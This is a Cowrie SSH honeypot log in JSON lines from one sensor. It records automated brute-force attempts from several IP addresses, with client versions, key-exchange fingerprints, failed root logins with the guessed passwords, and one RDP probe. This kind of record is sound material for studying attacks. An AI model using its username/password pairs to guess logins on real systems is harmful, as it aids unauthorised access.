{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:29.282047Z","src_ip":"94.159.98.239","session":"8dac1cb97eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:29.285660Z","src_ip":"94.159.98.239","session":"8dac1cb97eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamont","message":"login attempt [root/mamont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:30.272482Z","src_ip":"94.159.98.239","session":"8dac1cb97eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:31.534793Z","src_ip":"94.159.98.239","session":"8dac1cb97eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"90addf945517","protocol":"ssh","message":"New connection: 202.79.29.108:36240 (159.203.135.109:22) [session: 90addf945517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:34.691264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:34.701528Z","src_ip":"202.79.29.108","session":"90addf945517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:34.965965Z","src_ip":"202.79.29.108","session":"90addf945517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin","message":"login attempt [root/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:36.048888Z","src_ip":"202.79.29.108","session":"90addf945517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:37.315310Z","src_ip":"202.79.29.108","session":"90addf945517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":42282,"dst_ip":"159.203.135.109","dst_port":22,"session":"3801cec6de39","protocol":"ssh","message":"New connection: 72.17.34.38:42282 (159.203.135.109:22) [session: 3801cec6de39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:23.698469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:23.717741Z","src_ip":"72.17.34.38","session":"3801cec6de39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:23.757389Z","src_ip":"72.17.34.38","session":"3801cec6de39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678","message":"login attempt [root/12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:23.942456Z","src_ip":"72.17.34.38","session":"3801cec6de39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:24.984312Z","src_ip":"72.17.34.38","session":"3801cec6de39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":48470,"dst_ip":"159.203.135.109","dst_port":22,"session":"318644e1e101","protocol":"ssh","message":"New connection: 43.130.31.151:48470 (159.203.135.109:22) [session: 318644e1e101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:36.714593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:36.720503Z","src_ip":"43.130.31.151","session":"318644e1e101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:36.792996Z","src_ip":"43.130.31.151","session":"318644e1e101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde123","message":"login attempt [root/zaqxswcde123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:37.101816Z","src_ip":"43.130.31.151","session":"318644e1e101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:38.174755Z","src_ip":"43.130.31.151","session":"318644e1e101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":44686,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a35f2d5e23f","protocol":"ssh","message":"New connection: 43.135.182.46:44686 (159.203.135.109:22) [session: 6a35f2d5e23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:45.247269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:45.252377Z","src_ip":"43.135.182.46","session":"6a35f2d5e23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:45.321574Z","src_ip":"43.135.182.46","session":"6a35f2d5e23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1960","message":"login attempt [root/1960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:45.631004Z","src_ip":"43.135.182.46","session":"6a35f2d5e23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":36954,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d66d34d2420","protocol":"ssh","message":"New connection: 202.79.29.108:36954 (159.203.135.109:22) [session: 2d66d34d2420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:46.172479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:46.177797Z","src_ip":"202.79.29.108","session":"2d66d34d2420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:46.442215Z","src_ip":"202.79.29.108","session":"2d66d34d2420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:46.703117Z","src_ip":"43.135.182.46","session":"6a35f2d5e23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user123","password":"123","message":"login attempt [user123/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:47.534482Z","src_ip":"202.79.29.108","session":"2d66d34d2420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:48.800400Z","src_ip":"202.79.29.108","session":"2d66d34d2420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65089,"dst_ip":"10.17.0.5","dst_port":22,"session":"6edead0c6a27","protocol":"ssh","message":"New connection: 152.42.212.128:65089 (10.17.0.5:22) [session: 6edead0c6a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:57.774458Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:57.779233Z","src_ip":"152.42.212.128","session":"6edead0c6a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:02:57.783499Z","src_ip":"152.42.212.128","session":"6edead0c6a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54108,"dst_ip":"10.17.0.5","dst_port":22,"session":"670532e4e62c","protocol":"ssh","message":"New connection: 103.153.68.219:54108 (10.17.0.5:22) [session: 670532e4e62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:03.022009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:03.031256Z","src_ip":"103.153.68.219","session":"670532e4e62c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:03.279344Z","src_ip":"103.153.68.219","session":"670532e4e62c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lineage2","message":"login attempt [root/lineage2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:04.017367Z","src_ip":"103.153.68.219","session":"670532e4e62c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35550,"dst_ip":"159.203.135.109","dst_port":22,"session":"36750aa033c9","protocol":"ssh","message":"New connection: 103.149.170.125:35550 (159.203.135.109:22) [session: 36750aa033c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:04.137593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:04.152021Z","src_ip":"103.149.170.125","session":"36750aa033c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:04.412712Z","src_ip":"103.149.170.125","session":"36750aa033c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345t","message":"login attempt [root/12345t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:05.196874Z","src_ip":"103.149.170.125","session":"36750aa033c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:05.271556Z","src_ip":"103.153.68.219","session":"670532e4e62c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:06.460239Z","src_ip":"103.149.170.125","session":"36750aa033c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38208,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc04bc7ac6c6","protocol":"ssh","message":"New connection: 72.17.34.38:38208 (159.203.135.109:22) [session: dc04bc7ac6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:28.406599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:28.414178Z","src_ip":"72.17.34.38","session":"dc04bc7ac6c6","protocol":"ssh"}
